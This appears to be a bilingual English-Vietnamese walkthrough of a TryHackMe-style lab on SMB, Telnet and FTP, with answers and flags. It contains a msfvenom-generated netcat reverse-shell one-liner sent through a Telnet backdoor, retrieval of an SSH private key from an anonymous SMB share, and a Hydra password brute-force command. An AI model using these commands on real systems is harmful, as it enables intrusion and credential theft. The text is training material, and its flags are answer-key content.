1. **Understanding SMB**

What does SMB stand for? (SMB viết tắt của cái gì)

*Server Message Block*

What type of protocol is SMB? (SMB là loại giao thức gì)

*response-request*

What do clients connect to servers using? (Client kết nối với server sử dụng cái gì)

*TCP/IP*

What systems does Samba run on? (Samba chạy trên hệ thống nào)

*Unix*

1. **Enumerating SMB**

Conduct an nmap scan of your choosing, How many ports are open? (tiến hành quét Nmap theo sự lựa chọn của bạn, có bao nhiêu cổng đang mở

*3*

What ports is SMB running on? (SMB đang chạy ở cổng nào)

*139/445*

Let's get started with Enum4Linux, conduct a full basic enumeration. For starters, what is the workgroup name? (Hãy bắt đầu với Enum4Linux, tiến hành một enumeration đầy đủ cơ bản, tên của Workgroup là gì)

*WORKGROUP*

What comes up as the name of the machine? (Cái gì xuất hiện như là tên của máy)

*POLOSMB*

What operating system version is running? (Phiên bản hệ điều hành đang chạy là gì)

*6.1*

What share sticks out as something we might want to investigate? (Chia sẻ nào nổi bật nhất mà chúng ta có thể muốn điều tra?)

*Profiles*

1. **Exploiting SMB**

What would be the correct syntax to access an SMB share called "secret" as user "suit" on a machine with the IP 10.10.10.2 on the default port?

*smbclient //10.10.10.2/secret -U suit -p 445*

Great! Now you've got a hang of the syntax, let's have a go at trying to exploit this vulnerability. You have a list of users, the name of the share (smb) and a suspected vulnerability.

*No answer needed*

Lets see if our interesting share has been configured to allow anonymous access, I.E it doesn't require authentication to view the files. We can do this easily by:

- using the username "Anonymous"

- connecting to the share we found during the enumeration stage

- and not supplying a password.

Does the share allow anonymous access? Y/N?

*Y*

Great! Have a look around for any interesting documents that could contain valuable information. Who can we assume this profile folder belongs to?

*John Cactus*

What service has been configured to allow him to work from home?

*Ssh*

Okay! Now we know this, what directory on the share should we look in?

*.ssh*

This directory contains authentication keys that allow a user to authenticate themselves on, and then access, a server. Which of these keys is most useful to us?

*id\_rsa*

Download this file to your local machine, and change the permissions to "600" using "chmod 600 [file]".

Now, use the information you have already gathered to work out the username of the account. Then, use the service and key to log-in to the server.

What is the smb.txt flag?

*THM{smb\_is\_fun\_eh?}*

1. **Understanding Telnet**

What is Telnet?

application protocol

What has slowly replaced Telnet?

ssh

How would you connect to a Telnet server with the IP 10.10.10.3 on port 23?

telnet 10.10.10.3 23

The lack of what, means that all Telnet communication is in plaintext?

Encryption

1. **Enumerating Telnet**

How many ports are open on the target machine?

1

Câu lệnh: nmap -Pn -sT -p- 10.10.67.129

A screenshot of a computer

Description automatically generated

What port is this?

8012

This port is unassigned, but still lists the protocol it's using, what protocol is this? tcp

Now re-run the nmap scan, without the -p- tag, how many ports show up as open?

0

A screen shot of a computer

Description automatically generated

Here, we see that by assigning telnet to a non-standard port, it is not part of the common ports list, or top 1000 ports, that nmap scans. It's important to try every angle when enumerating, as the information you gather here will inform your exploitation stage.

No answer needed

Based on the title returned to us, what do we think this port could be used for?

a backdoor

Search Google 🡪 Kết quả:

A screenshot of a computer

Description automatically generated

Who could it belong to? Gathering possible usernames is an important step in enumeration.

Skidy

Câu lệnh: nmap -A -p8012 10.10.67.129

(-A: quét toàn diện)

A computer screen with white text

Description automatically generated

Always keep a note of information you find during your enumeration stage, so you can refer back to it when you move on to try exploits.

No answer needed

1. **Exploiting Telnet**

* Great! It's an open telnet connection! What welcome message do we receive?

SKIDY'S BACKDOOR.

A screenshot of a computer

Description automatically generated

* Let's try executing some commands, do we get a return on any input we enter into the telnet session? (Y/N)

N

* Hmm... that's strange. Let's check to see if what we're typing is being executed as a system command.

No answer needed

* Now, use the command "ping [local THM ip] -c 1" through the telnet session to see if we're able to execute system commands. Do we receive any pings? Note, you need to preface this with .RUN (Y/N)

Y

Cách làm:

* Mở 1 terminal khác để phát hiện sự chạy ngầm bằng câu lệnh:

***msfvenom -p cmd/unix/reverse\_netcat lhost=10.10.68.46 lport=4444 R***

* Trên Telnet session gõ: .RUN ping 10.10.193.181 -c 1 (Ip của máy mục tiêu)

A screen shot of a computer screen

Description automatically generated

A screen shot of a computer

Description automatically generated

* What would the command look like for the listening port we selected in our payload?

nc -lvp 4444

* Success! What is the contents of flag.txt?

Cách làm:

* Chạy câu lệnh ns -lvp 4444 để theo dõi câu lệnh bên dưới
* Lấy khối tin trả về từ msfvenom để thực thi trên session Telnet:

.RUN mkfifo /tmp/zeaf; nc 10.10.68.46 4444 0</tmp/zeaf | /bin/sh >/tmp/zeaf 2>&1; rm /tmp/zeaf

* Hiện thông báo đã kết nối
* Sau khi truy cập vào đc máy để mục tiêu:

Liệt kể file/thư mục: ls

Tìm vào đọc file theo yêu cầu

A computer screen shot of a program

Description automatically generated

1. **Understanding FTP**

What communications model does FTP use? (Kiểu liên lạc nào mà FTP sử dụng

client-server

What's the standard FTP port? (Cái nào là tiêu chuẩn cổng của FTP)

21

How many modes of FTP connection are there? (có bao nhiêu kiểu kết nối FTP)

2

1. **Enumerating FTP**

**Method**

We're going to be exploiting an anonymous FTP login, to see what files we can access- and if they contain any information that might allow us to pop a shell on the system. This is a common pathway in CTF challenges, and mimics a real-life careless implementation of FTP servers.

(Chúng ta sẽ khai thác việc đăng nhập FTP = anonymous, để biết những file nào chúng ta có thể truy cập và liệu nó có chứa bất kỳ thông tin nào cho phép chúng ta mở shell trên hệ thống hay không. Đây là con đường phổ biến trong các thử thách CTF, và bắt chước theo việc triển khai FTP servers bất cẩn trong đời thực.)

Run an nmap scan of your choice.

How many ports are open on the target machine?

2

What port is ftp running on?

21

What variant of FTP is running on it?

vsftpd

Great, now we know what type of FTP server we're dealing with we can check to see if we are able to login anonymously to the FTP server. We can do this using by typing "ftp [IP]" into the console, and entering "anonymous", and no password when prompted.

What is the name of the file in the anonymous FTP directory?

PUBLIC\_NOTICE.txt

What do we think a possible username

could be?

mike

Great! Now we've got details about the FTP server and, crucially, a possible username. Let's see what we can do with that...

No answer needed

Cách làm:

* Quét Nmap: nmap -Pn -sS <ip\_target>

Với: -Pn: bypass firewall, -sS: quét với gói Syn

A screen shot of a computer

Description automatically generated

* Quét để hiện chi tiết về varient của ftp:

Với: -sV là quét để hiện phiên bản của dịch vụ

A computer screen shot of a program

Description automatically generated

* Thực hiện 1 kết nối ftp 🡪 kết nối này cho phép Anonymous, liệt kê các tệp tin mà người dùng Anonymous có thể truy cập

A screen shot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

* Lấy tệp về máy và đọc nội dung

A screen shot of a computer code

Description automatically generated

A screenshot of a computer

Description automatically generated

1. **Exploiting FTP**

What is the password for the user "mike"?

password

Bingo! Now, let's connect to the FTP server as this user using "ftp [IP]" and entering the credentials when prompted

No answer needed

What is ftp.txt?

THM{y0u\_g0t\_th3\_ftp\_fl4g}

Cách làm:

Sau khi đã biết 1 user trên Ftp server, ta sẽ sử dụng Hydra để crack mật khẩu của user mike

Cú pháp: **hydra -t 4 -l user -P /usr/share/wordlists/rockyou.txt -vV ip\_target ftp**

A computer screen shot of a computer program

Description automatically generated

* User: mike, password: password
* Kết nối lại FTP sử dụng user và password trên, đăng nhập thành công
* Tiến hành kiểm tra xem mike có thể làm gì (sử dụng ls)
* Lấy file [ftp.txt](ftp://ftp.txt) về máy và đọc

A computer screen shot of a computer program

Description automatically generated

A computer screen shot of a number

Description automatically generated